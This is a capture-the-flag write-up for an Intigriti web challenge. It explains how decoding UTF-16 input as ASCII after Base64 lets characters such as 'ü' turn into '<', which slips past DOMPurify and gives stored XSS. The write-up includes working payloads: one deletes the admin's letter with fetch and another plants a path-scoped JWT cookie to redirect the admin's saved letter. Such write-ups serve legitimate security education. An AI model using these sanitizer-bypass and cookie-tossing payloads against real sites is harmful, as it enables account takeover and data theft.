This lovely challenge teaches us about the dangers of marshalling data back and fourth between formats. This is accaptable/necessary in some cases, for example a simple TODO app storing it's dates as unix timestamps in the database but displaying it as localized dates on the frontend will most probably be free of security issues even if it does an oopsie. But when this marshalling happens with user controlled, more complex data, things can go south.
After registering to the app we are greeted with a lovely homepage, offering us two tabs with different functionalities.
We have a "contact admin" functionality, that's only an end game goal, so we can test our exploit.
I usually approach a target by first using the site, clicking buttons, mapping out any potentially interesting functionalities while proxying everything through ZAP. Let's do that here too.
Going to the "love letters" we are greeted with a page to make or read letters in different categories.
If we create a letter and try to view it we are prompted with our first obstacle:
To read a letter we have to provide the password of the current user.
As such session hijacking is not the goal here, because we won't get a hold of the password.
By now we should have a good grasp of the layout of the site and we collected some traffic with ZAP.
We also should have identified two endpoints by now.
- challenge-0224.intigriti.io the frontend domain
- api.challenge-0224.intigriti.io the backend
If we navigate to the backend url we are greeted with a hint
Can't find that page, try debugging at /setTestLetter or /readTestLetter/:uuid!
Seems like we have mapped out every functionality of the site so let's dive into the code, as it is provided for the challenge and look for interesting things.
The code is well split up and commented for us to not go on any wild goose chase. Things we are not supposed to look at for example have a // Challenge internals
comment prefixing them.
Quickly skimming through the code the relevant parts for us are:
app.post("/storeLetter", passport.authenticate('jwt', { session: false }), async function (req, res) {
...
});
app.post("/unsetLetter", passport.authenticate('jwt', { session: false }), async function (req, res) {
...
});
app.get("/getLetterData", passport.authenticate('jwt', { session: false }), async function (req, res) {
...
});
app.post("/readLetterData", passport.authenticate('jwt', { session: false }), async function (req, res) {
...
});
......
// A place for us to run tests without affecting prod letters!
// Currently testing:
// - Rich text via HTML with DOMPurify for safety
// - Base64 encoding
app.get("/setTestLetter", async function (req, res) {
try {
const { msg } = req.query;
if (!msg) {
return res.status(400).send("Missing msg parameter");
}
// We are testing rich text for the love letters! Best be safe!
const cleanMsg = DOMPurify.sanitize(msg);
const letter = await DebugLetters.create({
letterValue: Buffer.from(cleanMsg).toString('base64')
});
return res.redirect(`/readTestLetter/${letter.letterId}`);
} catch (err) {
console.error(err);
return res.status(500).send("An error occurred");
}
});
app.get("/readTestLetter/:uuid", async function (req, res) {
try {
const { uuid } = req.params;
if (!uuid) {
return res.status(400).send("Missing uuid in path parameter");
}
const letter = await DebugLetters.findOne({
where: { letterId: uuid }
});
if (!letter) {
return res.status(404).send("Letter not found");
}
const decodedMessage = Buffer.from(letter.letterValue, 'base64').toString('ascii');
return res.status(200).send(decodedMessage);
} catch (err) {
console.error(err);
return res.status(500).send("An error occurred");
}
});
Can you spot the vulnerability with this highlight and the intro text?
If your answer is not, don't worry, we will read the code out loud and then it will click.
We have a setTestLetter endpoint that given a message in the msg param sanitizes the input with DOMPurify, encodes the result as base64, stores it and redirects us to readTestLetter with our new UID.
Then, readTestLetter retrieves the base64 encoded value, decodes it to ascii and sends it to the browser.
One important detail is that in javascript strings are UTF-16 encoded by default.
So in essence, the data flows like this:
UTF-16 text(through DOMPurify) -> base64 encode -> base64 decode -> ascii
Just like we talked about it in the intro, data is marshalled back and fourth between formats(text<->base64)
So is this backend code vulnerable? Can we maybe bypass DOMPurify with it to achive stored XSS?
If you still can't spot the issue, don't worry, the good folks over at intigriti have your back, they dropped the following hint:
Are you sure 128 characters are enough to fully express love?
What 128 characters are they talking about?
Well the ASCII page on wikipedia writes
ASCII has just 128 code points
So we have our issue. We send in UTF-16 text but later during marshalling it gets decoded to ASCII.
So where do we go from here?
Obviously we want to bypass DOMPurify and execute arbitrary javascript.
To do that we should sneakily construct script tags that won't trip DOMPurify when read as UTF-16 but will decode to valid tags and code when later rendered as ASCII.
So how do we find such characters? By stealing code of course!
for(i = 127; i < 255; i++) {
const cleanMsg = String.fromCharCode(i);
const letterValue = Buffer.from(cleanMsg).toString('base64');
//console.log(letterValue);
const decodedMessage = Buffer.from(letterValue, 'base64').toString('ascii');
//console.log(i, decodedMessage);
if(decodedMessage.includes("<")) {
console.log(i, decodedMessage, cleanMsg);
}
}
This code is basically the backend marshalling, without DOMPurify, in a loop that constructs non-ASCII characters that may decode to an interesting string for us.
If you run the following under node, you should get
188 B< ¼
252 C< ü
We just found 2 non-ASCII characters that we can insert into our payload to get XSS maybe?
Lets test it, by trying an alert box.
If we take the string
üscript>alert(0);//ü/script>
and substitute all occurrences of 'ü' with 'C<' we should get:
C<script>alert(0);//C</script>
This should get us XSS, so lets try it by visiting https://api.challenge-0224.intigriti.io/setTestLetter?msg[0]=üscript>alert(0);//ü/script>
and * drumroll please *
Success! We got XSS. But where do we go from here?
So now that we have XSS how would you get the admin to send you the letter?
If you hang out on intigriti's discord(no? why? are you living under a rock? it's awesome) you probably read GoatSniff's message regarding the task:
There is an admin (Contactable via link in navbar) which has a letter to the community saved on their account. They will open your links and replace any missing letters if needed.
Given this what is your first idea? Maybe change his cookies for your own?
Well, if you had this idea, read the info on the contact admin page:
- The admin makes sure that the domain is for the love letter app or at least a subdomain of it
- The already authenticated admin clicks your link!
- The admin gets suspicious and close the tab and will make sure they're on their account before checking their letters.
- If the admin can't see their love letter set, they'll simply re-add it and continue with their day!
The admin ... will make sure they're on their account before checking their letters.
Bummer! We can't possible make this work, the admin will realize our trick and close the browser. Or can we?
If we read a bit about cookies we can learn that they are more then key-value pairs stored by the browser and sent with every request.
They can have attributes. One such attribute is the expires
attribute that, well, tells us when the cookie is expired and should no longer be used. So where do we go from here?
Well reading the docs leads us to the path attribute
An example is given to help us understand it.
For example, if you set Path=/docs, these request paths match:
/docs
/docs/
/docs/Web/
/docs/Web/HTTP
But these request paths don't:
/
/docsets
/fr/docs
Seems like just what we need. What if, instead of simply forcing our own session onto the admin, we only force his requests to the /storeLetter
endpoint to use our own session?
Let's try this. First we will have to remove the admin's letter to the community. Then we should set him a cookie, with a valid session matching our own, only on the /storeLetter path. If everything goes according to plan, it should work.
The letter to the community has a letterId of 3. If you clicked the page through, you probably caught it in your proxy. If not, it can be inferred from the supplied source code. The following should work for us.
async function a(){
await fetch("/unsetLetter",
{"credentials":"include",
"headers":{
"Content-Type":"application/json",
},
"body":"{\"letterId\":\"3\"}",
"method": "POST",
"mode": "cors"});
}
a();
This should be easy, we get our own session from a proxied request/dev tools and set document.cookie to jwt=[our session]; expires=[very distant time]; path=/storeLetter
document.cookie="jwt=ey...; expires=Thu, 18 Dec 2034 12:00:00 UTC; path=/storeLetter"
If you substitute the "[YOURJWTHERE]" in the following payload and send it through the setTestLetter endpoint, you should have a link that you can send to the admin.
üscript>async function a(){await fetch("/unsetLetter",{"credentials":"include","headers":{"Content-Type":"application/json",},"body":"{\"letterId\":\"3\"}","method": "POST","mode": "cors"});}a();document.cookie="jwt=[YOURJWTHERE]; expires=Thu, 18 Dec 2034 12:00:00 UTC; path=/storeLetter";//ü/script>
Before doing so, you should make sure that you don't have a letter to the intigriti community, otherwise the attack will fail.
If you successfully followed along you should have the letter in your account by now, that you can access with your own password.
We got a lovely letter
We at Intigriti have been cheering you on from the sidelines and you never fail to impress us. Your bug hunting skills? Amazing. Every time you outsmart a tricky piece of code, we can't help but think, "How did we get so lucky to have these incredible hackers on our platform?" Keep on being the awesome bug hunters that you are b\u0000\u0013 the internet's a heck of a lot safer (and more fun) with you in it
While this writeup may have made this challenge seem easy, it obviously omitted all the trial and error that went into solving it. I went down many bad paths while overthinking the next step after XSS, just to name a few:
- Tricking the system, by creating a user with the name "admin-test" then a normal user with "test" to trick the backend verification code(the admin bot couldn't log in with their own creds. resulted in a 500 error when sending to him)
- Looking for vulnerabilities because I ran npm audit and it threw some issues.
- Thinking about solving it with Chrome Devtools Protocol(CDP) because other CTF's required it in the past.
In the end, none of these were required and it was a lovely challenge overall.
If you got it, congratulations!
If you didn't, don't worry! We're all playing to learn and reading writeups can go a long way. While reading will help you, don't shy away from putting this newfound knowledge to use and solve the challenge yourself.